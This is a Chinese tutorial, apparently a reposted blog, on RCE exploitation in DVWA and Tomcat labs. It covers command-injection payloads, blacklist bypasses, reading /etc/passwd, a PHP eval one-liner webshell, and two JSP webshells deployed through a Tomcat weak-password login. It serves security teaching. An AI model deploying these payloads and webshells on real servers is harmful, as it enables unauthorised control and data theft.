RCE漏洞利用挖掘方法

news2024/11/25 2:33:38

RCE漏洞利用挖掘方法

  • 一、从命令执行漏洞到getshell
  • 二、命令执行漏洞详解
    • 2.1、靶场实操—DVWA(Low级别)
    • 2.2、靶场实操—DVWA(Medium级别)
    • 2.3、靶场实操—DVWA(High级别)
    • 2.4、靶场实操—DVWA(Impossible级别)
  • 三、写入网站后门—webshell
    • 3.1、PHP一句话木马
    • 3.2、通过命令执行漏洞上传PHP一句话木马
    • 3.3、靶场实操—DVWA(Low等级)
    • 3.4、怎么使用木马?
      • 3.4.1、hackbar
      • 3.4.2、使用蚁剑
  • 四、tomcat弱口令getshell

一、从命令执行漏洞到getshell

常见的网站漏洞有哪些?

  • SQL注入:泄露破坏数据库,数据库中可能有账号密码等敏感信息
  • 命令执行:获取目标机器命令权限,执行非法命令,破坏或控制受害机
  • 文件上传:上传后门木马到网站中,破坏网站甚至系统

危害巨大的漏洞——命令执行

在这里插入图片描述

二、命令执行漏洞详解

  • cmd1 | cmd2:无论cmd1是否执行成功,cmd2将被执行
  • cmd1 ; cmd2:无论cmd1是否执行成功,cmd2将被执行,该命令只有在Linux上可以使用
  • cmd1 & cmd2:无论cmd1是否执行成功,cmd2将被执行
  • cmd1 || cmd2:仅在cmd1执行失败时才执行cmd2
  • cmd1 && cmd2:仅在cmd1执行成功后时才执行

Linux常用命令

  • whoami 显示当前用户
  • pwd 显示当前路径
  • -ls 显示指定工作目录下的内容
  • cat 文本输出
    • cat /etc/passwd 显示/etc/passwd文件中存放的用户关键信息
    • cat /etc/passwd |wc –l 数系统账号个数
    • cat /etc/group 显示所有组文件
  • id 当前用户的uid,gid以及所在组
  • groups 当前用户所在组
  • netstat -pantu 端口信息
  • netstat -nr 路由表及网关

2.1、靶场实操—DVWA(Low级别)

  1. 源码(见DVWA里View Source):基本未进行任何过滤
  • stristr(string,search,before_search)函数:

    • stristr函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回FALSE。参数string规定被搜索的字符串,参数search规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符),可选参数before_true为布尔型,默认为“false” ,如果设置为 “true”,函数将返回 search 参数第一次出现之前的字符串部分。
  • php_uname(mode)函数:

    • 函数会返回运行php的操作系统的相关描述,参数mode可取值”a” (此为默认,包含序列”s n r v m”里的所有模式),”s ”(返回操作系统名称),”n”(返回主机名),” r”(返回版本名称),”v”(返回版本信息), ”m”(返回机器类型)。可以看到,服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞。
  1. 命令执行漏洞利用
  • 常用命令1:
127.0.0.1 | whoami

在这里插入图片描述

  • 常用命令2:
127.0.0.1 ; whoami

在这里插入图片描述

  • 常用命令3:
127.0.0.1 | ip add

在这里插入图片描述

  • 常用命令4:
127.0.0.1 | ifconfig

在这里插入图片描述

2.2、靶场实操—DVWA(Medium级别)

  1. 源码(见DVWA里View Source):
  • 采用了黑名单机制,过滤了“&&”与“;”(将其替换为空字符)
    在这里插入图片描述
  1. 命令执行漏洞利用
  • 只能使用“&”和“|”字符,进行拼接
  • 常用命令1:
127.0.0.1 & whoami

在这里插入图片描述

  • 常用命令2:
127.0.0.1 | whoami

在这里插入图片描述

  • 常用命令3:
127.0.0.1 | net user

在这里插入图片描述

  • 使用换行进行绕过

  • 常用命令1:

127.0.0.1&\n&cat /etc/passwd    

在这里插入图片描述

  • 使用“&&&”和“&;&”字符,进行绕过
  • 常用命令1:
127.0.0.1 &;& cat /etc/passwd

在这里插入图片描述

  • 常用命令2:
127.0.0.1 &&& cat /etc/passwd 

在这里插入图片描述

2.3、靶场实操—DVWA(High级别)

  1. 源码(见DVWA里View Source):
  • 相较于medium级别,进一步完善了黑名单
  • 过滤了’&’ ,‘;’,‘| ‘,’-’,‘$’,‘(’,‘)’,‘`’,'||'等字符
  • 其中’| '后,有空格
    在这里插入图片描述
    2.命令执行漏洞
  • 使用“&&”,“&”,“|”字符(在这些字符前后加了空格)进行漏洞利用,失败
  • “|”前后无空格
  • 常用命令1:
127.0.0.1|pwd

在这里插入图片描述

  • 常用命令2:
127.0.0.1|/?in/cat /?tc/p?sswd     #? 代表『一定有一个』任意字符,相当于寻找/bin/cat /etc/passwd

在这里插入图片描述

  • 常用命令3:
127.0.0.1|/'b'i'n'/'c'a't' /'e't'c'/'p'a's's'w'd	  #使用 ’ 连接符,要注意闭合

在这里插入图片描述

  • 常用命令4:
127.0.0.1|/b\i\n/w\h\i\c\h n\c  #使用反斜杠

在这里插入图片描述

  • 常用命令5:
127.0.0.1|''|whoami   #单引号绕过

在这里插入图片描述

  • 常用命令6:
127.0.0.1|\n|whoami  #使用回车

在这里插入图片描述

  • 常用命令7:
127.0.0.1|more /etc/passwd   #使用more代替cat

在这里插入图片描述

2.4、靶场实操—DVWA(Impossible级别)

  1. 源码(见DVWA里View Source):
  • 过滤“\”
  • 以“.”拆分,先判断是否为四段,再断每段是否都为数字,全部成立,则执行ping命令。

在这里插入图片描述

三、写入网站后门—webshell

webshell是什么?

  • WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。
  • 黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,以达到控制网站服务器的目的。

3.1、PHP一句话木马

<?php eval($_POST['cmd']);?>
#eval eval,是php的语言构造器,作用是把字符串作为PHP代码执行
#$_POST[‘cmd']以POST请求方式接收请求参数cmd

3.2、通过命令执行漏洞上传PHP一句话木马

  1. 上传到哪?
    常用命令:pwd/dir /var/www/html/vulnerabilities/exec
  2. 怎么上传?
    echo命令:echo "<?php eval(\$_POST['cmd']);?>" > 1.php
  3. 怎么访问?
    http://your_ip/vulnerabilities/exec/1.php

3.3、靶场实操—DVWA(Low等级)

1、查看路径。

127.0.0.1 | pwd

在这里插入图片描述
2、写入一句话木马。

127.0.0.1 | echo "<?php eval(\$_POST['cmd']);?>" > 1.php

3、查看是否写入成功。

127.0.0.1 | ls

在这里插入图片描述

4、访问一句话木马。
在这里插入图片描述
5、访问成功,木马可以使用。

3.4、怎么使用木马?

  • hackbar:浏览器插件,可以直接在浏览器中修改POST data
  • webshell管理器:如蚁剑、菜刀、Cknife,都可以自动连接。

3.4.1、hackbar

  • 常用命令1:
cmd=phpinfo();

在这里插入图片描述

  • 常用命令2:
cmd=system('ls');

在这里插入图片描述

  • 常用命令3:
cmd=system('whoami');

在这里插入图片描述

3.4.2、使用蚁剑

安装蚁剑:
antSword源码:https://github.com/AntSwordProject/antSword
antSword启动器:https://github.com/AntSwordProject/AntSword-Loader
antSword官方文档:https://www.yuque.com/antswordproject/antsword/

1、添加连接。
在这里插入图片描述
2、连接成功。
在这里插入图片描述

四、tomcat弱口令getshell

Tomcat服务器是一个免费的开放源代码的Web应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP程序的首选。

1、搭建tomcat漏洞靶场。

docker-compose up -d

在这里插入图片描述

2、进入靶场。

http://192.168.9.148:8080/

在这里插入图片描述

3、进入后台管理界面。

在这里插入图片描述

4、使用弱口令登录。

tomcat	/	tomcat

在这里插入图片描述

5、登录成功。

在这里插入图片描述

6、代码一:cmd.jsp (该js文件只能执行一些系统命令,然后打印相应的输出,无法进行连接,功能较弱,使用代码二可以进行蚁剑连接)。

<%
    if("thisispasswd".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;          
        byte[] b = new byte[1024];          
        out.print("<pre>");          
        while((a=in.read(b))!=-1){
            out.println(new String(b));          
        }
        out.print("</pre>");
    } 
%>
  • 代码一的执行结果(过程略):
jar cvf cmd.war cmd.jsp
http://192.168.9.148:8080/cmd/cmd.jsp?pwd=thisispasswd&cmd=ls

在这里插入图片描述

在这里插入图片描述

7、打war包。

jar cvf web.war webshell.jsp
#被打webshell.war  想要生成的war包
#web.jsp包的jsp源码
  • 代码二:webshell.jsp(过程细)
<%!
    class U extends ClassLoader{
        U(ClassLoader c){
            super(c);
        }
        public Class g(byte []b){
            return super.defineClass(b,0,b.length);
        }
    }
    public byte[] base64Decode(String str)throws Exception{
        try{
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(),str);
        }catch(Exception e){
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode",String.class).invoke(decoder,str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null){
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

在这里插入图片描述
在这里插入图片描述

8、上传war文件。

在这里插入图片描述

9、点击“Deploy”进行部署。

在这里插入图片描述

10、新增一个应用“web”,说明部署成功。

在这里插入图片描述

11、点击进行访问。

在这里插入图片描述

12、访问一句话木马。

在这里插入图片描述

13、使用蚁剑进行连接,连接密码:passwd。

在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/725081.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

form表单使用Select 选择器

案例: ps&#xff1a;年度的值类型要与select 选择器中 value 类型一致&#xff01;&#xff01; 如果input框中显示的是数字&#xff0c;说明年度的值没有与选择器中的的value一致&#xff01;&#xff01;&#xff01; YearNum 要与 value 类型一致&#xff01;&#xff01…

【第三章 flutter学习之Dart基础(上)】

文章目录 一、入口方法的定义方式二、Dart变量和常量三、Dart常用数据类型四、Dart运算符与类型转换及循环语句五、自定义方法六、Dart静态成员、操作符、类的继承七、接口八、接口分离写法九、一个类实现多个接口 一、入口方法的定义方式 main(){print(hello world) } //下边…

Docker学习笔记24

Docker Swarm 搭建&#xff1a; 主机名系统版本IP地址功能swarm-1centos7.9192.168.17.10管理节点swarm-2centos7.9192.168.17.20工作节点swarm-3centos7.9192.168.17.30工作节点 CPU、Memory、Disk不做要求。 准备IP地址和主机名&#xff1a; hostnamectl set-hostname swa…

测试不容易,入坑请注意!

“零基础入门&#xff0c;保证就业&#xff0c;钱多&#xff0c;事少&#xff01;” 绝大部分培训机构的招生话术不外乎如此&#xff0c;骗了一波又一波钱多人傻的人入坑测试。而在报名前&#xff0c;会进行考试评估学员是否适合从业软件测试的机构很难见到。如果有&#xff0…

几何光学软件

光线追踪器 从手册中&#xff1a; https://arachnoid.com/OpticalRayTracer/ OpticalRayTracer 是一款免费 (GPL) 跨平台应用程序&#xff0c;用于分析透镜和反射镜系统。 它使用光学原理和虚拟光具座来预测多种普通和奇异镜头类型以及平面镜和曲面镜的行为。 OpticalRayTracer…

搭建ssl双向验证python

生成证书 客户端和服务端搭建 https simple-https-server.py # run as follows: python simple-https-server.py # then in your browser, visit: # https://localhost import ssl import http.serverserverAddress (0.0.0.0, 443) httpd http.server.HTTPServer(serverA…

【力扣】设计内存分配器(高效实现)

题目 给你一个整数 n &#xff0c;表示下标从 0 开始的内存数组的大小。所有内存单元开始都是空闲的。 请你设计一个具备以下功能的内存分配器&#xff1a; 分配 一块大小为 size 的连续空闲内存单元并赋 id mID 。 释放 给定 id mID 对应的所有内存单元。 注意&#xff1a;…

面试官当面夸奖完我后,反手把我挂了...只能说这套路太..

最近几个朋友找我聊天&#xff0c;给我讲述了面试过程中遇到的一些不太理解的事情。作为一个技术面试官&#xff0c;今天来分享 9 个面试相关的套路。 1.自我介绍 自我介绍是一个重要的开始&#xff0c;好的开始是成功的一半。不需要太多花里胡哨的东西&#xff0c;简单、清楚…

超详细:阿里云服务器地域和可用区选择方法

阿里云服务器地域和可用区怎么选择&#xff1f;地域是指云服务器所在物理数据中心的位置&#xff0c;地域选择就近选择&#xff0c;访客距离地域所在城市越近网络延迟越低&#xff0c;速度就越快&#xff1b;可用区是指同一个地域下&#xff0c;网络和电力相互独立的区域&#…

文件行读写

#include<stdio.h> #include<stdlib.h> #include<string.h> int main01() {FILE* fpfopen("D:/a.txt","r");//打开文件 if(fpNULL) printf("打开文件失败\n");char* p(char*)malloc(sizeof(char)*100);memset(p,0,100);fge…

架构课学习笔记:职业成长

架构师没有明确的定义&#xff0c;郭老师提出具备的能力&#xff1a;就是为一个复杂系统设计软件的能力&#xff0c;以及引导研发团队实施的能力。从5个 阶段来看对应的能力维度&#xff1a;结构化设计、解决横向问题、解决跨领域冲突、正确的技术决策和创造生存优势。 一结构…

树结构 根据关键字过滤

案例&#xff1a; 默认 过滤之后 直接看代码&#xff1a; <divclass"grid-content bg-purple"style"background-color: #fff"><p>单位列表</p><!-- defaultProps :这个里面的字段要与后端返回过来的字段一致 --><el-inputplac…

C++笔记之sizeof()判断对象所占内存空间的大小以及字符数组的长度

C笔记之sizeof()判断对象所占内存空间的大小以及字符数组的长度 code review! 文章目录 C笔记之sizeof()判断对象所占内存空间的大小以及字符数组的长度1.C笔记之sizeof()判断对象所占内存空间的大小2.C笔记之sizeof()判断数组的长度3.C笔记之strlen在字符数组中的使用 1.C笔…

《动手学深度学习》——多层感知机

参考资料&#xff1a; 《动手学深度学习》 4.1 多层感知机 4.1.1 隐藏层 隐藏层 激活函数能够模拟任何连续函数。 4.1.2 激活函数 4.1.2.1 ReLu函数 ReLU ⁡ ( x ) max ⁡ ( x , 0 ) \operatorname{ReLU}(x) \max(x, 0) ReLU(x)max(x,0) 当输入为负时&#xff0c;ReLU …

Python爬虫-求是网

前言 本文是该专栏的第2篇,后面会持续分享python爬虫案例干货,记得关注。 地址:aHR0cDovL3NlYXJjaC5xc3RoZW9yeS5jbi9xaXVzaGkvP2tleXdvcmQ9 需求:根据搜索关键词,爬取对应关键词下的全部文章信息 废话不多说,跟着笔者直接往下看详细内容。(附带完整代码) 正文 1. 请…

说说 OpenAI 最新发布的Function calling 是什么

这两天看的比较多的一个新闻就是 OpenAI 又更新了自己的 API。 除了各种大减价&#xff0c;增加 Token 数量之外&#xff0c;还新推出了一个叫做 Function calling 的能力。那么 Function calling 到底是什么东西&#xff0c;可能很多新闻类型的内容也没讲太明白&#xff0c;我…

基于SpringBoot+vue的教师人事档案管理系统设计与实现

博主介绍&#xff1a; 大家好&#xff0c;我是一名在Java圈混迹十余年的程序员&#xff0c;精通Java编程语言&#xff0c;同时也熟练掌握微信小程序、Python和Android等技术&#xff0c;能够为大家提供全方位的技术支持和交流。 我擅长在JavaWeb、SSH、SSM、SpringBoot等框架…

【力扣周赛】第 352 场周赛

文章目录 Q1&#xff1a;2760. 最长奇偶子数组解法1——纯纯暴力解法2——枚举左端点&#xff0c;尝试右端点继续优化 Q2&#xff1a;2761. 和等于目标值的质数对一个小优化 Q3&#xff1a;2762. 不间断子数组解法1——滑动窗口维护哈希表普通HashMap使用TreeMap补充&#xff1…

利用Python批量压缩图片大小(不改变图片尺寸,不改变图片格式)

我们经常需要在某些文件中如&#xff1a;Word,Excel&#xff0c;PPT等中&#xff0c;插入大量的图片&#xff0c;但是图片每一张的内存都不小&#xff0c;累计多了&#xff0c;就是导致文件的内存过大&#xff0c;导致客户打不开文件&#xff0c;那么我们可以将图片的内存压缩一…

指针的指针理解与用法

指针实际上就是一个变量&#xff0c;当他不是空指针的时候他的值就是某一个地址&#xff0c;同时他自己也是有地址的&#xff0c;因为它是一个变量。 指针的指针的值其实就是某一个指针的地址。 int main() {int a 5;int *p &a;int **pp &p;printf("%p\n&quo…